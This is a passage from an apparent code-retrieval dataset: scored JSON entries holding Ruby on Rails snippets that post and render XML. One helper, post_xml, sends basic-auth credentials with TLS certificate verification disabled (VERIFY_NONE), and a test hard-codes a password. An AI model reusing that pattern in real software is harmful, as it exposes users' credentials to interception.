"0.49815518", "text": "def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "title": "" }, { "docid": "88f3046f3b38c5436114c234c41554b7", "score": "0.49787435", "text": "def send_post(data_xml,url)\r\n result = @client.post(self.target_uri(url), :body => data_xml , :head => {'Content-Type' => 'application/xml'} ) \r\n raise \"Invalid status #{result.http_status} from server #{@host}:#{@port}\" if(result.http_status != '200') \r\n #reply = Reply.from_xml(result.http_body)\r\n if block_given?\r\n yield(result.http_body)\r\n else\r\n result.http_body\r\n end\r\n end", "title": "" }, { "docid": "d40f6cd75403e3ea03a9dae95724ebdf", "score": "0.49731037", "text": "def new\n @chirp = Chirp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chirp }\n end\n end", "title": "" }, { "docid": "b0b8260801f62ab8ba3287f1185b03e0", "score": "0.49669182", "text": "def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end", "title": "" }, { "docid": "977ad066591f2c3ba3c17479f17b4cc0", "score": "0.49425513", "text": "def post_data; end", "title": "" }, { "docid": "fb31b2ceffebb66d22575dd38a46b9aa", "score": "0.4937413", "text": "def chirp_params\n params.require(:chirp).permit(:author, :content)\n end", "title": "" }, { "docid": "f7f2f76501577954f60ca135053fdd7d", "score": "0.49265018", "text": "def do_submission(path, xml = nil)\n if xml.nil?\n form = create(:form, question_types: %w(integer integer))\n form.publish!\n xml = build_odk_submission(form)\n end\n\n # write xml to file\n require 'fileutils'\n FileUtils.mkpath('test/fixtures')\n fixture_file = Rails.root.join('test/fixtures/', ODK_XML_FILE)\n File.open(fixture_file.to_s, 'w') { |f| f.write(xml) }\n\n # Upload and do request.\n uploaded = fixture_file_upload(fixture_file, 'text/xml')\n post(path, {:xml_submission_file => uploaded, :format => 'xml'}, 'HTTP_AUTHORIZATION' => encode_credentials(@user.login, 'password'))\n assigns(:response)\n end", "title": "" }, { "docid": "0f3c51fcd565601de872f79de8bf8089", "score": "0.4925521", "text": "def post(path, params={})\n signature_params = params.values.any?{|value| value.respond_to?(:to_io)} ? {} : params\n request(:post, path, params.to_xml, signature_params)\n end", "title": "" }, { "docid": "0811358fbdcbe3311e13e5e8139b3a77", "score": "0.49232027", "text": "def post_xml(url, ls_data)\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri.request_uri, HEADER_XML)\n request.body = ls_data\n request.basic_auth(@nsx_user, @nsx_password)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|\n https.request(request)\n end\n return response.body if check_response(response, 201)\n end", "title": "" }, { "docid": "0ceabb02b5170cefad28b1ee8e63a601", "score": "0.49217942", "text": "def create\n @precio = Precio.new(params[:precio])\n\n respond_to do |format|\n if @precio.save\n format.html { redirect_to(@precio, :notice => 'Precio was successfully created.') }\n format.xml { render :xml => @precio, :status => :created, :location => @precio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @precio.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f4d7b2b2afc49e55e71528004dcff925", "score": "0.49164915", "text": "def create\n @cheque = Cheque.new(params[:cheque])\n\n respond_to do |format|\n if @cheque.save\n format.html { redirect_to(@cheque, :notice => 'Cheque was successfully created.') }\n format.xml { render :xml => @cheque, :status => :created, :location => @cheque }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cheque.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "77a5dfac0a68e413e5e44268d5919ee6", "score": "0.4906745", "text": "def create\n @partofspeech = Partofspeech.new(params[:partofspeech])\n\n respond_to do |format|\n if @partofspeech.save\n flash[:notice] = 'Partofspeech was successfully created.'\n format.html { redirect_to(@partofspeech) }\n format.xml { render :xml => @partofspeech, :status => :created, :location => @partofspeech }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @partofspeech.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e407c323629ed73e7af1b79b52a4246e", "score": "0.49038023", "text": "def create\n @cheep = Cheep.new(cheep_params)\n\n respond_to do |format|\n if @cheep.save\n format.html { redirect_to @cheep, notice: 'Cheep was successfully created.' }\n format.json { render :show, status: :created, location: @cheep }\n else\n format.html { render :new }\n format.json { render json: @cheep.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "23cee1a943e89f4aaade091fc92daf10", "score": "0.49007958", "text": "def sendclaim\n require 'net/http'\n require 'uri'\n\n @visit = Visit.find(params[:id])\n @patient = Patient.find(@visit.patient_id)\n @patient.fname = @patient.full_sex unless @patient.fname.present?\n @doctor = Doctor.find(@visit.doc_id)\n @xml = render_to_string \"show.xml\"\n\n uri = URI.parse(CABMDURL)\n http= Net::HTTP.new(uri.host,uri.port)\n http.use_ssl = true\n \n req = Net::HTTP::Post.new(uri.request_uri, {'Content-Type' => 'application/xml'})\n req.body = @xml\n\n res = http.request(req)\n @xmlhash = JSON.parse(res.body)\n# {\"success\"=>true, \"errors\"=>[], \"messages\"=>[], \"reference_id\"=>\"332933\", \"accounting_number\"=>\"0004MZ4Z\"}\n \n if @xmlhash['success'] \n\t acc_num = @xmlhash['accounting_number']\n flash[:info] = \"Claim #{acc_num} sent to cab.md \" \n @visit.update_attribute(:status, BILLED)\n @visit.update_attribute(:billing_ref, acc_num)\n else\n\t errors = @xmlhash['errors']\n\t messages = @xmlhash['messages']\n\t flash[:danger] = \"Error sending claim : #{@xmlhash}\"\n @visit.update_attribute(:status, READY)\n\t @visit.update_attribute(:billing_ref, errors.join(',')) if errors.present?\n end\n\n respond_to(:html)\n redirect_to patient_visit_path\n end", "title": "" }, { "docid": "90faeb0f73b92fe17c462d02a2448ceb", "score": "0.4896028", "text": "def chirp_params\n params.permit(:body)\n end", "title": "" }, { "docid": "13c77f2ffc81c5c38ae6345e3d97811d", "score": "0.48938397", "text": "def create\n @kpi = Kpi.new(params[:kpi])\n\n respond_to do |format|\n if @kpi.save\n flash[:notice] = 'Kpi was successfully created.'\n format.html { redirect_to(@kpi) }\n format.xml { render :xml => @kpi, :status => :created, :location => @kpi }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @kpi.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7196beeb43aaffc7e7f4e897840da226", "score": "0.48860273", "text": "def create\n @cp_press = CpPress.new(params[:cp_press])\n\n respond_to do |format|\n if @cp_press.save\n format.html { redirect_to @cp_press, notice: 'Cp press was successfully created.' }\n format.json { render json: @cp_press, status: :created, location: @cp_press }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cp_press.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b2d03fa52830c1f7ae735509709d648a", "score": "0.4879824", "text": "def chul_params\n params.require(:chul).permit(:title, :content)\n end", "title": "" }, { "docid": "b254834b3d77c0723eaf67ba39ff6afa", "score": "0.4879159", "text": "def create\n @periode = Periode.new(params[:periode])\n\n respond_to do |format|\n if @periode.save\n format.html { redirect_to(@periode, :notice => 'Periode was successfully created.') }\n format.xml { render :xml => @periode, :status => :created, :location => @periode }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @periode.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "20b7043cf432423bbb04e1dfe3f69877", "score": "0.48784164", "text": "def process_request\n @build_xml = build_xml\n pickup_serv_log('Final XML Request : ' + @build_xml.to_s)\n api_url_srv = api_url + \"/pickup\"\n pickup_serv_log('URL for API : ' + api_url_srv.to_s)\n api_response = self.class.post(api_url_srv, :body => build_xml)\n pickup_serv_log('API Response : ' + api_response.to_s)\n puts api_response if @debug\n response = parse_response(api_response)\n if success?(response)\n pickup_serv_log('Successfully Done : ' + response.to_s)\n success_response(api_response, response)\n else\n failure_response(api_response, response)\n end\n end", "title": "" }, { "docid": "e008e738c70bab406937a18351b1f8e4", "score": "0.48776397", "text": "def chirp_params\n params.require(:chirp).permit(:user, :user_id, :chirp, :photo, :file_name, :file_type, :chirped_at)\n end", "title": "" }, { "docid": "64e2f45ef7a762497a0713e666ea74fb", "score": "0.48771012", "text": "def to_pqri(pqri_xml = nil)\n pqri_xml ||= Builder::XmlMarkup.new(:indent => 2)\n pqri_xml.submission(\"type\" => \"PQRI-REGISTRY\", \"option\" => \"PAYMENT\", \"version\" => \"1.0\",\n \"xmlns:xsi\" => \"http://www.w3.org/2001/XMLSchema-instance\",\n \"xsi:noNamespaceSchemaLocation\" => \"Registry_Payment.xsd\") {\n\n pqri_xml.tag!('file-audit-data') {\n pqri_xml.tag! :'create-date', DateTime.now.strftime(\"%m-%d-%Y\")\n pqri_xml.tag! :'create-time', DateTime.now.strftime(\"%H:%M\")\n pqri_xml.tag! :'create-by', \"popHealth\"\n pqri_xml.tag! :version, \"1.0\"\n pqri_xml.tag! :'file-number', \"1\"\n pqri_xml.tag! :'number-of-files', \"1\"\n }\n\n pqri_xml.registry {\n pqri_xml.tag! :'registry-name', \"Example Registry\"\n pqri_xml.tag! :'registry-id', \"000-exampleRegistryId\"\n pqri_xml.tag! :'submission-period-from-date', \"01-01-2009\"\n pqri_xml.tag! :'submission-period-to-date', DateTime.now.strftime(\"%m-%d-%Y\")\n pqri_xml.tag! :'submission-method', \"A\"\n }\n\n pqri_xml.tag! :'measure-group', \"ID\" => \"X\" do\n pqri_xml.provider {\n pqri_xml.npi(\"1234567890\")\n pqri_xml.tin(\"Tax Id #\")\n pqri_xml.tag! :'waiver-signed', \"Y\"\n pqri_xml.tag! :'pqri-measure' do\n pqri_xml.tag! :'pqri-measure-number', self.id.to_s + \"-\" + self.title \n pqri_xml.tag! :'eligible-instances', self.denominator\n pqri_xml.tag! :'meets-performance-instances', self.numerator\n pqri_xml.tag! :'performance-exclusion-instances', 0\n pqri_xml.tag! :'performance-not-met-instances', (self.denominator - self.numerator)\n pqri_xml.tag! :'reporting-rate', \"100.00\"\n pqri_xml.tag! :'performance-rate', \"%.2f\" % (Float.induced_from(self.numerator) / Float.induced_from(self.denominator) * 100)\n end\n }\n end\n }\n end", "title": "" }, { "docid": "841875302f179972d5660bf17005472d", "score": "0.48701626", "text": "def create\n #I need :parent_id set to 0 by default for itself and next_sib\n if params[:cc_question][:cc_all_attributes][:parent_id] == \"\"\n params[:cc_question][:cc_all_attributes][:parent_id] = \"0\"\n end\n #we need the parent id to set next_sib\n params[:cc_question][:cc_all_attributes][:next_sib] += \"_\"\n params[:cc_question][:cc_all_attributes][:next_sib] += params[:cc_question][:cc_all_attributes][:parent_id] \n\n @cc_question = CcQuestion.new(params[:cc_question])\n\n respond_to do |format|\n if @cc_question.save\n format.html { redirect_to(@cc_question, :notice => 'Question component was successfully created.') }\n format.xml { render :xml => @cc_question, :status => :created, :location => @cc_question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cc_question.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cad1beec5c30e77df90cece6701eb147", "score": "0.48654628", "text": "def create\n @pracownik = Pracownik.new(pracownik_params)\n\n respond_to do |format|\n if @pracownik.save\n format.html { redirect_to @pracownik, notice: 'Pracownik was successfully created.' }\n format.json { render :show, status: :created, location: @pracownik }\n else\n format.html { render :new }\n format.json { render json: @pracownik.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ce098a49a63b07903f209191d051e19b", "score": "0.48484612", "text": "def pocket_api(path,data)\n http = Net::HTTP.new('getpocket.com', 443)\n # http.set_debug_output $stderr #uncomment for debug data\n http.use_ssl = true\n headers = {\n 'Content-Type' => 'application/x-www-form-urlencoded'\n }\n resp, data = http.post(path, data, headers)\n\n # puts 'Code = ' + resp.code\n # puts 'Message = ' + resp.message\n # resp.each {|key, val| puts key + ' = ' + val}\n data = CGI::parse(data)\n return [resp.code,data]\nend", "title": "" }, { "docid": "b6807f4c925a8983c012713e79f9e3a3", "score": "0.48402908", "text": "def post\n Rentlinx.client.post(self)\n end", "title": "" }, { "docid": "99bd718d33151dc73b80049e46a6b2b4", "score": "0.48297408", "text": "def create\n @cst_ipi = CstIpi.new(params[:cst_ipi])\n\n respond_to do |format|\n if @cst_ipi.save\n flash[:notice] = 'S.T. para Ipi criada.'\n format.html { redirect_to(@cst_ipi) }\n format.xml { render :xml => @cst_ipi, :status => :created, :location => @cst_ipi }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cst_ipi.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7126bd0779b2ca19383496758bc5f290", "score": "0.48216197", "text": "def create\n if request.format.js?\n @schicht = Schicht.new(schicht_params)\n # Transform date to utc (compatibility with offline version)\n @schicht.datum = DateTime.new(@schicht.datum.year, @schicht.datum.month, @schicht.datum.day)\n @schicht.benutzer = current_user\n @schicht.objekt = current_objekt\n @schicht.wachbuch_eintrag = WachbuchEintrag.create\n @schicht.save\n else\n doc = Nokogiri::XML(request.body.read)\n sNode = doc.xpath('elwak/schicht')[0]\n @schicht = parseSchicht(sNode)\n end\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n format.js {render action: 'save_success'}\n end\n end", "title": "" }, { "docid": "abbe36ec2242d8ceb846e60b02f56fa2", "score": "0.48183942", "text": "def create\n @chore = Chore.new(params[:chore])\n\n respond_to do |format|\n if @chore.save\n format.html { redirect_to(chores_path, :notice => 'New Chore created!') }\n format.xml { render :xml => @chore, :status => :created, :location => @chore }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @chore.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "00fc18244c9ae7a7b984fb4474e045ea", "score": "0.48179495", "text": "def ch_params\n params.require(:ch).permit(:content)\n end", "title": "" }, { "docid": "7c62f98810b2de23f340ebe609d80313", "score": "0.48178038", "text": "def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend", "title": "" }, { "docid": "ceacdd95ce04e9a0d215fe0d136856e0", "score": "0.481759", "text": "def post(path, params = {})\n Chirpy.request params.merge({:path => path, :method => 'post'}.merge(authentication))\n end", "title": "" }, { "docid": "6af72106c9060be9e662e73cd04ab1c4", "score": "0.4815701", "text": "def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end", "title": "" }, { "docid": "bbdd35a818a20fdc25725cd42cb7bd3b", "score": "0.4809528", "text": "def create\n @cheerup = Cheerup.new(cheerup_params)\n\n respond_to do |format|\n if @cheerup.save\n format.html { redirect_to @cheerup, notice: 'Cheerup was successfully created.' }\n format.json { render :show, status: :created, location: @cheerup }\n else\n format.html { render :new }\n format.json { render json: @cheerup.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6e68d072ba3f1acb529c7ff290306cca", "score": "0.48078778", "text": "def create_from_xml(xml, pares)\n raise PaResMissing.new \"(2500) PaRes argument can not be omitted.\" if pares.nil?\n @request_xml = REXML::Document.new xml\n REXML::XPath.first(@request_xml, \"//ThreeDSecure\").add_element(\"PaRes\").text=pares\n end", "title": "" }, { "docid": "f3051d7ad2a6b3e6f3653a414885afcf", "score": "0.4802607", "text": "def create\n @services_charger = ServicesCharger.new(params[:services_charger])\n\n respond_to do |format|\n if @services_charger.save\n format.html { redirect_to(@services_charger, :notice => 'ServicesCharger was successfully created.') }\n format.xml { render :xml => @services_charger, :status => :created, :location => @services_charger }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @services_charger.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6ef334dc99fef655f419be0390d72582", "score": "0.4795232", "text": "def create\n @dpi_chapter = DpiChapter.new(params[:dpi_chapter])\n\n respond_to do |format|\n if @dpi_chapter.save\n format.html { redirect_to @dpi_chapter, notice: 'Dpi chapter was successfully created.' }\n format.json { render json: @dpi_chapter, status: :created, location: @dpi_chapter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dpi_chapter.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "085cf2cbbc5ace224c6a014feac8849f", "score": "0.4793974", "text": "def create(name=\"Default name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Post.new(@url)\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n response.body\n end", "title": "" }, { "docid": "a1ca68af7f127c6ed4869258fca6c285", "score": "0.4792083", "text": "def create\n @irpf = Irpf.new(irpf_params)\n\n respond_to do |format|\n if @irpf.save\n format.html { redirect_to @irpf, notice: 'Irpf was successfully created.' }\n format.json { render action: 'show', status: :created, location: @irpf }\n else\n format.html { render action: 'new' }\n format.json { render json: @irpf.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1592b1e51de8ff617bfa3a700c81fef0", "score": "0.47917914", "text": "def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end", "title": "" }, { "docid": "37b4584393a28d4429cfac66cb96a020", "score": "0.4791592", "text": "def create\n @cherup = Cherup.new(params[:cherup])\n\n respond_to do |format|\n if @cherup.save\n format.html { redirect_to @cherup, notice: 'Cherup was successfully created.' }\n format.json { render json: @cherup, status: :created, location: @cherup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cherup.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fab029b39e24750657fd67026e69e6bb", "score": "0.4791218", "text": "def request_body(xml); xml; end", "title": "" }, { "docid": "50bcaaa367d95e8b4c3f8f3287dbd015", "score": "0.4789756", "text": "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x|\n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x|\n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end", "title": "" }, { "docid": "92ab6da8e314a745a43c8878657bd3db", "score": "0.47890705", "text": "def create\n @cdspp = Cdspp.new(params[:cdspp])\n\n respond_to do |format|\n if @cdspp.save\n format.html { redirect_to(@cdspp, :notice => 'Cdspp was successfully created.') }\n format.xml { render :xml => @cdspp, :status => :created, :location => @cdspp }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cdspp.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ed7591c9185a88f5694f9a5215f9623c", "score": "0.47885656", "text": "def create\n @chul = Chul.new(chul_params)\n\n respond_to do |format|\n if @chul.save\n format.html { redirect_to @chul, notice: 'Chul was successfully created.' }\n format.json { render :show, status: :created, location: @chul }\n else\n format.html { render :new }\n format.json { render json: @chul.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d2c67ecab1f4b6f6c4e5a046f79956d6", "score": "0.47858596", "text": "def new\n @ru_pusk = RuPusk.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ru_pusk }\n end\n end", "title": "" }, { "docid": "0e3a6c71951ce752688a0e120e096c9b", "score": "0.4783185", "text": "def postSignal( entity_id, country, gen_id, signal_type, data_type, inactive_reason, inactive_description, feedback)\n params = Hash.new\n params['entity_id'] = entity_id\n params['country'] = country\n params['gen_id'] = gen_id\n params['signal_type'] = signal_type\n params['data_type'] = data_type\n params['inactive_reason'] = inactive_reason\n params['inactive_description'] = inactive_description\n params['feedback'] = feedback\n return doCurl(\"post\",\"/signal\",params)\n end", "title": "" }, { "docid": "0e2d350a963a7c459003452cba50aa9f", "score": "0.47611037", "text": "def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end", "title": "" }, { "docid": "d7047dcb40925dc7ed5a164e3b80826b", "score": "0.4760619", "text": "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x| \n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x| \n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end", "title": "" }, { "docid": "f2e9c823dcd83fa7233b5b5ca3de6777", "score": "0.47583112", "text": "def do_coaps_posted_03\n # get the Base64 of the incoming signed request\n body = IO.read(\"spec/files/vr_00-D0-E5-F2-00-03.vrq\")\n\n env = Hash.new\n env[\"SSL_CLIENT_CERT\"] = cbor_clientcert_03\n env[\"HTTP_ACCEPT\"] = \"application/voucher-cose+cbor\"\n env[\"CONTENT_TYPE\"] = \"application/voucher-cose+cbor\"\n\n $FAKED_TEMPORARY_KEY = temporary_key\n post '/e/rv', :params => body, :headers => env\n end", "title": "" }, { "docid": "36dcb2e7db96a537eb63e6bde52e6bfa", "score": "0.47541192", "text": "def create\n @peep = Peep.new(params[:peep])\n\n respond_to do |format|\n if @peep.save\n format.html { redirect_to(@peep, :notice => 'Peep was successfully created.') }\n format.xml { render :xml => @peep, :status => :created, :location => @peep }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @peep.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6e3f4bbc88c00a5ce40c0411d04ae44c", "score": "0.4750675", "text": "def create\n respond_to do |format|\n format.html do\n @xml_sample = XmlSample.new(params[:xml_sample])\n if @xml_sample.save\n redirect_to @xml_sample, notice: 'Xml sample was successfully created.'\n else\n render action: \"new\"\n end\n end\n format.xml do\n rexml = REXML::Document.new(params[\"xml\"])\n attr = Hash.from_xml(rexml.to_s)\n @xml_sample = XmlSample.new(attr[\"xmlsample\"])\n if @xml_sample.save\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n else\n xml = {msg: \"failed\", status: \"NG\"}.to_xml\n end\n return render xml: xml\n end\n end\n end", "title": "" }, { "docid": "f8f47de1f353646d63982038bb941d2e", "score": "0.4735519", "text": "def new\n @pdig = Pdig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pdig }\n end\n end", "title": "" }, { "docid": "5cf0e2c4aef033c2d69176545b176934", "score": "0.4732038", "text": "def pier_params\n params.require(:pier).permit(:harbour_id, :name)\n end", "title": "" }, { "docid": "4e3da1ab6a8304ba6741b2cc64adc0ec", "score": "0.47304755", "text": "def post_stomp(msg,headers)\n \n response_header = {\"Content-type\" => \"text/xml\"}\n response_header.merge headers\n ht =Net::HTTP.start(self.host,self.port)\n url = self.url # + \"/\" + self.topic\n puts \"posting to: #{self.host}: #{self.port} #{url} message: #{msg.to_xml}\"\n r=ht.post(url,msg.to_xml,response_header)\n \n puts \"result: #{r.to_s}\"\n r\n end", "title": "" }, { "docid": "d724fa87b65ed7c5a3658cf064fc6663", "score": "0.4730127", "text": "def chofer_params\n params.require(:chofer).permit(:nombre, :apodo, :estado_id, :fechaestado, \n \t:credencial, :vtocarnet, :direccion, :telefono, :celular, :motivo_cambio_estado)\n end", "title": "" }, { "docid": "5438af531c05f12e59dddfb1694375c4", "score": "0.47253895", "text": "def new\n @chimpaction = Chimpaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chimpaction }\n end\n end", "title": "" }, { "docid": "3861001462ef31ddd2e61d83e0bc2ea0", "score": "0.4720857", "text": "def create\n @cheque_payment = ChequePayment.new(cheque_payment_params)\n respond_to do |format|\n if @cheque_payment.save\n format.html { redirect_to @cheque_payment, notice: 'Cheque payment was successfully created.' }\n format.json { render :show, status: :created, location: @cheque_payment }\n else\n format.html { render :new }\n format.json { render json: @cheque_payment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f6cc26910819bd4b10ebb6bf5abda429", "score": "0.47207215", "text": "def post_evaluate(excon, body)\n excon.request(\n method: :post,\n path: '/evaluate',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend", "title": "" }, { "docid": "7c0c7e256be88a2062be9a7b1c7b7fbc", "score": "0.47180167", "text": "def send_xml(out_xml)\n uri = URI.parse(@url)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri)\n\n @logger.error \"#$%$ #{@user}\"\n request.basic_auth @user, @password\n request.body = out_xml\n\n log(\"Sending request: #{request.inspect}\")\n response = http.request(request)\n\n log(\"Response: #{response}\")\n return response.body\n end", "title": "" }, { "docid": "59ca9d54af001aac6e6abcc4a079c49f", "score": "0.47150645", "text": "def create\n megam_rest.post_node(to_hash)\n end", "title": "" }, { "docid": "8f85621d4f9eeede16b931a4bd8b0ed7", "score": "0.47105113", "text": "def create\n @card_punch = CardPunch.new(params[:card_punch])\n\n respond_to do |format|\n if @card_punch.save\n format.html { redirect_to(@card_punch, :notice => 'CardPunch was successfully created.') }\n format.xml { render :xml => @card_punch, :status => :created, :location => @card_punch }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @card_punch.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e9ccd9f4cf67323e54a7fdd1229bafe", "score": "0.4710112", "text": "def create\n @cancer = Cancer.new(params[:cancer])\n\n respond_to do |format|\n if @cancer.save\n flash[:notice] = 'Cancer was successfully created.'\n format.html { redirect_to(@cancer) }\n format.xml { render :xml => @cancer, :status => :created, :location => @cancer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cancer.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "986a815d128273d0fb5071a76c5aa498", "score": "0.4707758", "text": "def create\n @isp = Isp.new(isp_params)\n\n respond_to do |format|\n if @isp.save\n format.html { redirect_to @isp, notice: 'Isp was successfully created.' }\n format.json { render :show, status: :created, location: @isp }\n else\n format.html { render :new }\n format.json { render json: @isp.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "603fd6bf241c0d5ab5a22ab407dcd15e", "score": "0.47010538", "text": "def create\n @epitech_module = EpitechModule.new(epitech_module_params)\n\n respond_to do |format|\n if @epitech_module.save\n format.html { redirect_to @epitech_module, notice: 'Epitech module was successfully created.' }\n format.json { render :show, status: :created, location: @epitech_module }\n else\n format.html { render :new }\n format.json { render json: @epitech_module.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bb53d4cf337279fcc0cfa7fc907067ac", "score": "0.46970338", "text": "def create\n @tipp = Tipp.new(params[:tipp])\n\n respond_to do |format|\n if @tipp.save\n format.html { redirect_to(@tipp, :notice => 'Tipp was successfully created.') }\n format.xml { render :xml => @tipp, :status => :created, :location => @tipp }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tipp.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4dc7379c5e3c3ff2bf157ac33c87a00e", "score": "0.46952352", "text": "def jasper\n param=Hash.new {|k, v| k[v] = {:tipo=>\"\",:valor=>\"\"}}\n param[\"PDIRECCION\"]={:tipo=>\"String\", :valor=>\"DIRECCION DE INFORMATICA\"}\n param[\"PDEPARTAMENTO\"]={:tipo=>\"String\", :valor=>\"DEPARTAMENTO DE BASE DE DATOS\"}\n send_doc_xml(xml,'/records/record', 'directorio','Directorio',param,'pdf')\n end", "title": "" }, { "docid": "dabac0bd7ec30ace8dbc201c32ce96cc", "score": "0.46935394", "text": "def create\n @cheque_payment = ChequePayment.new(params[:cheque_payment])\n\n respond_to do |format|\n if @cheque_payment.save\n format.html { redirect_to @cheque_payment, notice: 'Cheque payment was successfully created.' }\n format.json { render json: @cheque_payment, status: :created, location: @cheque_payment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cheque_payment.errors, status: :unprocessable_entity 